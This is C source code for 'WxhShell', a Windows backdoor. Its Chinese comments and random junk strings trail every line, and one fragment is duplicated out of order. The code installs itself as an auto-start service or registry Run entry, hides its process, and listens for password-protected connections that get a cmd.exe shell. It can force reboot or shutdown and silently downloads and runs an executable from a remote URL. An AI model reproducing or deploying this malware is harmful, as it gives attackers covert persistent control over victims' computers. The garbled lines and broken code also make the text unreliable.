    closesocket(wsh); &T0]tzk*,  
    ExitThread(0); 6wWhM&Wd  
    } YlbX_h2S"  
    break; 9GCK3  
    } C 4C /  
  // 关机 ^U5N!"6R  
  case 'd': { -_5Dk'R#`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZM-P  
    if(Boot(SHUTDOWN)) :2S?|7U4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n ng|m  
    else { c( U,FUS  
    closesocket(wsh); !"qT2<A  
    ExitThread(0); [niFJI sc  
    } _3 oo%?}  
    break; VED~v#.c  
    } *w(n%f  
  // 获取shell t :YZua  
  case 's': { P8By~f32_  
    CmdShell(wsh);  2hF^U+I}  
    closesocket(wsh); 4>V@+#Ec5  
    ExitThread(0); 5wx~QV=Hh  
    break; 7{O iV}]"  
  } Z8bg5%  
  // 退出 I]W7FZ=o  
  case 'x': { <Qih&P9;>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U?f-/@fc  
    CloseIt(wsh); :E6*m\X!3  
    break; {c_bNYoE  
    } |"9&F  
  // 离开 7\98E&  
  case 'q': { _d3Z~cH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6}N`YOJ.  
    closesocket(wsh); L5 `k3ap|  
    WSACleanup(); 6#*_d,xQT  
    exit(1); M KW~rrR  
    break; WFahb3kx  
        } yXDjM2oR/2  
  } *|W](id7e  
  } ZwsQ}5  
`9[n5-t  
  // 提示信息 B3&C&o.h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ddKP3}  
} o"BED! /  
  } NO[A00m|OL  
+&VY6(Zj+*  
  return; m0ra  
} H%Vf$1/TF  
vA_,TS#Bo  
// shell模块句柄 mm +V*L{x  
int CmdShell(SOCKET sock) 5)XUT`;'){  
{ ,P}7e)3  
STARTUPINFO si; &t<g K D  
ZeroMemory(&si,sizeof(si)); ^uUA41o`eJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }W:Z>vam+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8,IF%Z+LI  
PROCESS_INFORMATION ProcessInfo; e16H @  
char cmdline[]="cmd"; qqZ4K:oC,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tT)s,R%  
  return 0; -~8PI2  
} tkk8b6%h?p  
o"X..m<  
// 自身启动模式 pp(09y`]  
int StartFromService(void) q&>fKSnKs  
{ 1O0. CC,p  
typedef struct G) KI{D  
{ >qNpY(Ql  
  DWORD ExitStatus; XV%R Mr6  
  DWORD PebBaseAddress; 59 g//;35@  
  DWORD AffinityMask; H ;=^ W  
  DWORD BasePriority; #6|ve?`I  
  ULONG UniqueProcessId; aQL0Sj:,  
  ULONG InheritedFromUniqueProcessId; A+Isk{d  
}   PROCESS_BASIC_INFORMATION; C=o-3w  
,i}EGW,9q  
PROCNTQSIP NtQueryInformationProcess; M&/4SVBF  
9yTdbpY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JW0\y+o~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q7KHx b  
[Lje?M* r  
  HANDLE             hProcess; L:Rg3eo  
  PROCESS_BASIC_INFORMATION pbi; kJuG haO  
dpq(=s`s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :n13v @q  
  if(NULL == hInst ) return 0; B/a`5&G]  
Xykoq"dbb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^"|q~2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ey: ?!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "Y:>^F;  
&Wa3/mWK  
  if (!NtQueryInformationProcess) return 0; ; k.@=  
i@rUZYF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l#v52  
  if(!hProcess) return 0; z{ eZsh b  
jSvq1$U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J#Y0R"fo  
$*X?]?  
  CloseHandle(hProcess); [>dDRsZ  
``g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AP>n-Z|  
if(hProcess==NULL) return 0; V*rLGY#  
{,Vvm*L/  
HMODULE hMod; (kO(R#M  
char procName[255]; R- >~MLeK]  
unsigned long cbNeeded; 08jk~$%  
u `xQC /  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \e4AxLP  
}U'9 d#N  
  CloseHandle(hProcess); 9a=:e=q3#  
=gSc{ i|  
if(strstr(procName,"services")) return 1; // 以服务启动  D~"a"  
xF3FY0U[  
  return 0; // 注册表启动 L"9Z{o7  
} 3s%DF,  
ef7 U7   
// 主模块 "aKlvK:77  
int StartWxhshell(LPSTR lpCmdLine) >CrrxiG  
{ FXT^r3  
  SOCKET wsl; +p>h` fc  
BOOL val=TRUE; BhAT@%  
  int port=0; H0OO +MCe  
  struct sockaddr_in door; 1ED7 .#g  
IfB .2e`  
  if(wscfg.ws_autoins) Install(); Z}0{FwW"4  
M .6BFC  
port=atoi(lpCmdLine); bR~Xog  
TDk[,4  
if(port<=0) port=wscfg.ws_port; 8 0nu^ _  
Zl9  
  WSADATA data; T&/ n.-@nk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cz/ E  
Q{S{|.w-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    $L uU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xPm{'J+b~  
  door.sin_family = AF_INET; }XUI1H]jk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e^@ZN9qQ  
  door.sin_port = htons(port); s% R,]q  
M1/(Xla3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4|%Y09"lv  
closesocket(wsl); q90RTX'CY  
return 1; xC9?rLUZ  
} O{ 3X`xAf  
uHacu<$=  
  if(listen(wsl,2) == INVALID_SOCKET) { J?#vL\8  
closesocket(wsl); 7wWx8  
return 1; 5V(#nz  
} dKEy6C"@  
  Wxhshell(wsl); <f:(nGj  
  WSACleanup(); -J 6`  
|PYyhY  
return 0; -a|b.p  
ua=7YG  
} )d3C1Pd>  
sbVEA  
// 以NT服务方式启动 I&i6-xp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PtQ[({d3R  
{ .,'4&}N}  
DWORD   status = 0; Sx~mc_ekY  
  DWORD   specificError = 0xfffffff; hunlKIg  
<%w TI<m,-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a"Iu!$&N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oVP,a r0G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T[e+iv<8j  
  serviceStatus.dwWin32ExitCode     = 0; sF :pwI5^  
  serviceStatus.dwServiceSpecificExitCode = 0; g2?W@/pa  
  serviceStatus.dwCheckPoint       = 0; &?p( UY7'"  
  serviceStatus.dwWaitHint       = 0; I _Lm[  
:/SGB3gb1t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xv147"w'v  
  if (hServiceStatusHandle==0) return; p)Q5fh0-  
)Z4iM;4]  
status = GetLastError(); $; _{|{Yj  
  if (status!=NO_ERROR) wpN [0^M-0  
{ zobFUFx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P}Mu|AEG  
    serviceStatus.dwCheckPoint       = 0; cr0/.Zv)  
    serviceStatus.dwWaitHint       = 0; WN|_IJR~  
    serviceStatus.dwWin32ExitCode     = status; >mvE[iXRG?  
    serviceStatus.dwServiceSpecificExitCode = specificError; .%J<zqk-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v0\M$@N[  
    return; E*T6kp^b  
  } 9-{.WZ  
|*ZM{$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v0&DD&mp  
  serviceStatus.dwCheckPoint       = 0; :0%[u(  
  serviceStatus.dwWaitHint       = 0; T:%0i8p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (aJ$1bT=T  
} KMfIp:~  
YsCY~e&  
// 处理NT服务事件,比如:启动、停止 daA&!vnbH*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,'Y KL",  
{ nzAySMD_  
switch(fdwControl) {_4Hsw?s6  
{ krlebPs[  
case SERVICE_CONTROL_STOP: elKp?YN  
  serviceStatus.dwWin32ExitCode = 0; OUN~7]OD%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O['[_1n_u]  
  serviceStatus.dwCheckPoint   = 0; i,RbIZnJ  
  serviceStatus.dwWaitHint     = 0; JY:Fu  
  { sT iFh"8d>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vP'!&}  
  } s^)(.e_  
  return; 4\V/A+<W  
case SERVICE_CONTROL_PAUSE: &l`_D?{<#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N1y,~Z  
  break; I WT|dA >  
case SERVICE_CONTROL_CONTINUE: Oel%l Y}m3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _a$5"  
  break; pox;NdX7  
case SERVICE_CONTROL_INTERROGATE: Wo9=cYC)  
  break; ia.+<, $`S  
}; YGyw^$.w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -`spu)  
} 9"D t3>Z  
7r(c@4yPI  
// 标准应用程序主函数 6 AY~>p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) })mD{c/  
{ WT,dTn;W  
[<^'}-SJ  
// 获取操作系统版本 Y nTx)uW  
OsIsNt=GetOsVer(); cZ`%Gt6g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZX+0{E8a  
0#Q]>V@rO4  
  // 从命令行安装 P()&?C  
  if(strpbrk(lpCmdLine,"iI")) Install(); rnMi >?  
n sN n>{  
  // 下载执行文件 a|dgK+[  
if(wscfg.ws_downexe) { VyIJ)F.c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y{P~!Yn|  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8<6@O  
} d[;&2Jz*  
%[L/JJbP&Z  
if(!OsIsNt) { & R<K>i  
// 如果时win9x,隐藏进程并且设置为注册表启动 HDE5Mg "  
HideProc(); i(# Fjp  
StartWxhshell(lpCmdLine); hf)R PG&  
} N/2WUp  
else #{)mr [c|  
  if(StartFromService()) -0CL#RzKR  
  // 以服务方式启动 IY}GU 2#  
  StartServiceCtrlDispatcher(DispatchTable); %6V=G5+W  
else 3-0jxx(  
  // 普通方式启动 b9b`%9/L  
  StartWxhshell(lpCmdLine); HyQ(9cn |  
Mg^A,8lrm  
return 0; YWANBM(v+  
} Csgby(D*O  
=@P(cFJ/  
8JMxA2tZhG  
n-wOLH  
=========================================== cqb6]  
hJ4 A5m.  
u!VrMH  
3][   
I[ 06R  
2of+KI:  
" Dn>C :YS`  
.lz= MUR  
#include <stdio.h> ~( rZ)  
#include <string.h> {@" F/G+  
#include <windows.h> g'-hSV/@}@  
#include <winsock2.h> tM:$H6m/(  
#include <winsvc.h> S =sL:FC  
#include <urlmon.h> dleLX%P  
v,3 }YDu  
#pragma comment (lib, "Ws2_32.lib") oO;< $wx2t  
#pragma comment (lib, "urlmon.lib") pBu}c<  
~dsx|G?p  
#define MAX_USER   100 // 最大客户端连接数 s2+_`Ogg  
#define BUF_SOCK   200 // sock buffer -HFyNk]>  
#define KEY_BUFF   255 // 输入 buffer fB4zqMSfE  
_Mh..#)`[  
#define REBOOT     0   // 重启 N45@)s!F9j  
#define SHUTDOWN   1   // 关机 uE#i3( J  
8rz ,MsFR  
#define DEF_PORT   5000 // 监听端口 f[OJ qk  
FT gt$I  
#define REG_LEN     16   // 注册表键长度  )Z:maz  
#define SVC_LEN     80   // NT服务名长度 VhgcvS@V  
s"wz !{G4  
// 从dll定义API =NRiro  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tkh?F5l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dTU`@!f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (b.Mtd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y<yU5  
AX{yfL  
// wxhshell配置信息 Ojp|/yd^YL  
struct WSCFG { iA"H*0  
  int ws_port;         // 监听端口 /'>ck2drjk  
  char ws_passstr[REG_LEN]; // 口令 SR/ "{\C  
  int ws_autoins;       // 安装标记, 1=yes 0=no s*>B"#En  
  char ws_regname[REG_LEN]; // 注册表键名 DK%@ [D  
  char ws_svcname[REG_LEN]; // 服务名 bde6 ;=oM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y$ ZDJNz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m?1AgsBR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uKT\\1Jrq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {~=gKZ:-@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D rouEm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yyjgPbLN=  
<$ nMqUu0  
}; Wb{8WPS  
**n109R  
// default Wxhshell configuration Q>/[*(.Wd  
struct WSCFG wscfg={DEF_PORT, %BkPkQA  
    "xuhuanlingzhe", "Z a}p|Ct  
    1, 5PKdMEK|q  
    "Wxhshell", E{B40E~4  
    "Wxhshell", =XUt?5  
            "WxhShell Service", q0_Pl*  
    "Wrsky Windows CmdShell Service", wH qbTA  
    "Please Input Your Password: ", YtT:\#D  
  1, rf2-owWN  
  "http://www.wrsky.com/wxhshell.exe", 4?7OP t6  
  "Wxhshell.exe" $0;Dk,  
    }; 1FRpcE  
 Y}Nd2  
// 消息定义模块 ?uE@C3 e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1ZfhDtK(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @IBU{{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1,sD'iNb  
char *msg_ws_ext="\n\rExit."; @0%^\Qf2  
char *msg_ws_end="\n\rQuit."; TUR2|J@n  
char *msg_ws_boot="\n\rReboot..."; 2{-'`l fM%  
char *msg_ws_poff="\n\rShutdown..."; eJZt&|7N  
char *msg_ws_down="\n\rSave to "; )G$0:-J-  
M7AUY#)  
char *msg_ws_err="\n\rErr!"; ::k/hP9.^  
char *msg_ws_ok="\n\rOK!"; t. kOR<  
myWa>Mvb  
char ExeFile[MAX_PATH]; (w, Gv-S  
int nUser = 0; h4? 'd+K  
HANDLE handles[MAX_USER]; ;e ^`r;]  
int OsIsNt; iD!]I$  
2-u9%  
SERVICE_STATUS       serviceStatus;  f(*^zga,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'uF"O"*  
E`UEl$($  
// 函数声明 nOUF<DNQ  
int Install(void); !\1Pu|  
int Uninstall(void); O<qo%fP  
int DownloadFile(char *sURL, SOCKET wsh); 6y)NH 8l7  
int Boot(int flag); 5!d'RBO   
void HideProc(void); O8w|!$Q.  
int GetOsVer(void); G9a6 $K)b  
int Wxhshell(SOCKET wsl); {rZ )!  
void TalkWithClient(void *cs); JXF@b-c  
int CmdShell(SOCKET sock); ^e WD4Vp|4  
int StartFromService(void); K<ok1g'0  
int StartWxhshell(LPSTR lpCmdLine); \@:mq]Y  
LD)P. f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xw&N[ y5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {vAv ;m  
o51jw(wO  
// 数据结构和表定义 EEO)b_(  
SERVICE_TABLE_ENTRY DispatchTable[] = g%f6D%d)A  
{ <>6DPHg~  
{wscfg.ws_svcname, NTServiceMain}, 6J%yo[A(w  
{NULL, NULL} $ #F7C[2N  
}; NYp46;  
3n=ftkI  
// 自我安装 %u02KmV.  
int Install(void) 5Qgh\4  
{ ~i/K7qZ  
  char svExeFile[MAX_PATH]; .Zv uhOn^  
  HKEY key; Q96^rjY  
  strcpy(svExeFile,ExeFile); iwT PJGK|  
VTvNn  
// 如果是win9x系统,修改注册表设为自启动 a/H|/CB 3  
if(!OsIsNt) { 5j$ a3nH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )*n2 ,n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )Fh5*UC  
  RegCloseKey(key); \L{V|}"X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  q<Zza  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k'JfXrW<!  
  RegCloseKey(key); =-|,v*  
  return 0; O4fl$egQU  
    } %.VFj7J  
  } 5]yby"Z?}  
} whvvc2  
else { I9;,qd%<T  
`E2HQA@  
// 如果是NT以上系统,安装为系统服务 Z`Sbq{Kx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /L? ia  
if (schSCManager!=0) 2io~pk>  
{ MF/@Efjn ]  
  SC_HANDLE schService = CreateService &i?>mt  
  ( zsuXN*  
  schSCManager, Ub-q0[6  
  wscfg.ws_svcname, 'PVxc %[  
  wscfg.ws_svcdisp, eJwHeG  
  SERVICE_ALL_ACCESS, *3]_Huw<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vX/("[  
  SERVICE_AUTO_START, b;%>?U`>p  
  SERVICE_ERROR_NORMAL, :927y  
  svExeFile, rGb<7b%  
  NULL, tDIQ=  
  NULL, d/Y#oVI  
  NULL, wmnh7'|0u  
  NULL, A 2Rp  
  NULL X(*MHBd  
  ); wPrqFpf  
  if (schService!=0) /[RO>Z9  
  { #[.aj2  
  CloseServiceHandle(schService);  d| OEZx  
  CloseServiceHandle(schSCManager); %d"d<pvx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C6{\^kG^j2  
  strcat(svExeFile,wscfg.ws_svcname); 5>u,Qh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )7s(]~z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U/l3C(bc!  
  RegCloseKey(key); 5VR=D\j  
  return 0; S{#L7S  
    } K]c\3[vR  
  } 8*Ke;X~N  
  CloseServiceHandle(schSCManager); Gj H$!P=.  
} OT{cP3;0*o  
} !ZrU@T  
R7ze~[oF  
return 1; J_rb3  
} JOFQyhY0>m  
^^Te  
// 自我卸载 @K=C`N_22  
int Uninstall(void) GZWU=TC2{2  
{ GW;O35 m  
  HKEY key; :ExCGS[  
NY3.?@Z  
if(!OsIsNt) { "1HKD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qe<aJn  
  RegDeleteValue(key,wscfg.ws_regname); ^M6R l0  
  RegCloseKey(key); I)wc&>Lc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BH\!yxK  
  RegDeleteValue(key,wscfg.ws_regname); *9O@DF&*6  
  RegCloseKey(key); <b#1L  
  return 0; @Z2^smf  
  } o4F(X0  
} ALXie86a8  
} &ku.Q3xGs  
else { +nU=)x?38  
~ NZC0&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s_}q  
if (schSCManager!=0) }NpN<C+  
{ wlsq[x P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0 n}2D7  
  if (schService!=0) ,y}@I"  
  { ^ZPynduR  
  if(DeleteService(schService)!=0) { #bCQEhCy  
  CloseServiceHandle(schService); d`9ofw~3=  
  CloseServiceHandle(schSCManager); z,xGjS P  
  return 0; :Fh#"<A&&  
  } l#bE_PD;  
  CloseServiceHandle(schService); BHNEP |=  
  } MmQ"z_v  
  CloseServiceHandle(schSCManager); k$3Iv"gbx  
} Cm%|hk>fQ  
} ,4--3 MU  
GW,RE\Q:  
return 1; <\`qRz0/  
} "el}9OitC  
F_-}GN%  
// 从指定url下载文件 Xb2.t^ ]f  
int DownloadFile(char *sURL, SOCKET wsh) 7.FD16  
{ ,xI FF-[0  
  HRESULT hr; 9v@P|  
char seps[]= "/"; Kw=][}d`D  
char *token; )}lO%B'K  
char *file; ^?5HagA  
char myURL[MAX_PATH]; H7%q[O  
char myFILE[MAX_PATH]; +; / s0  
8/T[dn  
strcpy(myURL,sURL); ;u;_\k<qK  
  token=strtok(myURL,seps); 7_ s7 );  
  while(token!=NULL) \=uD)9 V  
  { zmhL[1qj  
    file=token; zS*vKyye>  
  token=strtok(NULL,seps); #Q` TH<  
  } +vt?3i\^.  
{H3B1*Dk  
GetCurrentDirectory(MAX_PATH,myFILE); i F \H  
strcat(myFILE, "\\"); `z$=J"%? y  
strcat(myFILE, file); i5cK5MaD  
  send(wsh,myFILE,strlen(myFILE),0); j: E3c\a  
send(wsh,"...",3,0); %f5c,}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @Y !Jm  
  if(hr==S_OK) ek1<9" y  
return 0; Q6;bORN  
else =$SvKzN  
return 1; V 5D8z  
B&m6N,  
} . ZP$,  
lk.Mc6)  
// 系统电源模块 bT15jNa  
int Boot(int flag) r;_*.|AH  
{ GBY{O2!3u  
  HANDLE hToken; w8cbhc  
  TOKEN_PRIVILEGES tkp; 089v; d 6  
'U-8w@\Z  
  if(OsIsNt) { _ %G;^ b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~S\8 '  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5a&BgBO1M  
    tkp.PrivilegeCount = 1; zl<D"eP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <:4b4Nl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SZvp %hS0  
if(flag==REBOOT) { ipyc(u6Z5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CsEU:v  
  return 0; A|YiSwyy  
} _*ar\A`  
else { XhUVDmeUMb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f7/M_sx  
  return 0; OlP1Zd/l  
} q $PO. #  
  } {F;"m&3Lt  
  else { ^hcK&  
if(flag==REBOOT) { '^`iF,rg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wZVLpF+7  
  return 0; XT?wCb41R  
} Clb7=@f  
else { 7(d#zu6n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *dN_=32u  
  return 0; KM?w{ ~9  
} -S#jOr  
} mVEIHzk2b  
kD(#LM<9s  
return 1; \k{d'R#~(  
} Mm;[f'{M)  
$18?Q+?3  
// win9x进程隐藏模块 \5}*;O@  
void HideProc(void) Nw{Cu+AwG  
{ iJ`zWpj+{Q  
/>wE[`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L;WFHIE  
  if ( hKernel != NULL ) 0BH-kr  
  { 3$S~!fh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZW4$Ks2]Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h>F"GR?U_(  
    FreeLibrary(hKernel); q4v:s   
  } 5O;D\M{>  
;iW>i8  
return; M%WO  
} j2%fAs<  
@}2EEo#  
// 获取操作系统版本 51tZ:-1!  
int GetOsVer(void) }0?XF/e(R  
{ Shv$"x:W  
  OSVERSIONINFO winfo; OZA^L;#>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ww"]3  
  GetVersionEx(&winfo); qeb}~FL"o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C-\3,  
  return 1; xIwILY|W=  
  else O`5hj q#  
  return 0; +cM~|  
} h^ K]ASj  
BwrX.!M  
// 客户端句柄模块 n5z|@I`S_  
int Wxhshell(SOCKET wsl) M2\c0^R  
{ )7p(htCz5  
  SOCKET wsh; ^#IE t#  
  struct sockaddr_in client; Wt=\hixj-  
  DWORD myID; |AT`(71  
;/t~MH  
  while(nUser<MAX_USER) 0Y:)$h2?  
{ $ w+.-Tr  
  int nSize=sizeof(client); =sAU5Ag68  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z*ag{N  
  if(wsh==INVALID_SOCKET) return 1; r`\@Fv,&#  
&;~?\>?I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i[ >U#5  
if(handles[nUser]==0) 7dv!  
  closesocket(wsh); 3 NFo=Z8  
else y` {|D*  
  nUser++; bDm7$ (  
  } F`GXho[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %'X~9Pvi  
r*dNta<  
  return 0; Ud7Z7?Ym  
} PT }J.Dwx  
@;x*~0GZ  
// 关闭 socket 9 4^b"hU  
void CloseIt(SOCKET wsh) 7&D)+{g  
{ CO9PQ`9+  
closesocket(wsh); ?rA3<j  
nUser--; Eg8b|!-')8  
ExitThread(0); c&N;r|N  
} L|L|liWd  
#kh:GAp]  
// 客户端请求句柄 p<zeaf0W  
void TalkWithClient(void *cs) |f/Uzd ~  
{ VN (*m(b  
t{QQ;'  
  SOCKET wsh=(SOCKET)cs; {9X mFa  
  char pwd[SVC_LEN]; vCNq2l^CW  
  char cmd[KEY_BUFF]; #6v357-5  
char chr[1]; ^d@2Y0hH  
int i,j; #oR`_Dm)P  
dwQ1~  
  while (nUser < MAX_USER) { q]?)c  
H%etYpD  
if(wscfg.ws_passstr) { G0~Z|P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 99(@O,*(Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H=\Tse_.  
  //ZeroMemory(pwd,KEY_BUFF); ?@7!D8$9  
      i=0; =@S a\;  
  while(i<SVC_LEN) { _/'VD!(MV  
T?QW$cU!e:  
  // 设置超时 `<g6^P  
  fd_set FdRead; rS+) )!  
  struct timeval TimeOut; {M7`"+~w  
  FD_ZERO(&FdRead); .6LRg  
  FD_SET(wsh,&FdRead); D9NQ3[R 9  
  TimeOut.tv_sec=8; >MSK.SNh  
  TimeOut.tv_usec=0; >*opEI+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qc)i?Z'6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dy>6L79G  
Jm#p!G+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c~O Lr  
  pwd=chr[0]; TUz4-Pd  
  if(chr[0]==0xd || chr[0]==0xa) { M@P%k`6C  
  pwd=0; r>7 +&s*yk  
  break; ^yqRa&  
  } dJ/gc"7aO  
  i++; 1KbZ6Msy  
    }  S,ea[$_  
MBU|<tc  
  // 如果是非法用户,关闭 socket ;']u}Nh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @x!,iT  
} KO~KaN  
v|\#wrCT?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |cP:1CRzi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \HkBp& bqK  
?QzL#iO }h  
while(1) { +/l@o u'  
lS#: u-k  
  ZeroMemory(cmd,KEY_BUFF); &M@c50&%  
(_8.gS[  
      // 自动支持客户端 telnet标准   #z _<{' P"  
  j=0; x;$ESPPg  
  while(j<KEY_BUFF) {  <7SE|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I.G[|[. Do  
  cmd[j]=chr[0]; HA,8O [jon  
  if(chr[0]==0xa || chr[0]==0xd) { RgUQ:  
  cmd[j]=0; t72u%M6  
  break; eY'n S  
  } !02y'JS1  
  j++; F[SZwMf29  
    } ep?D;g  
0ju-l= w  
  // 下载文件 leb/D>y  
  if(strstr(cmd,"http://")) { !=PH5jTY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @TD=or .&  
  if(DownloadFile(cmd,wsh)) O39   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s~2o<#  
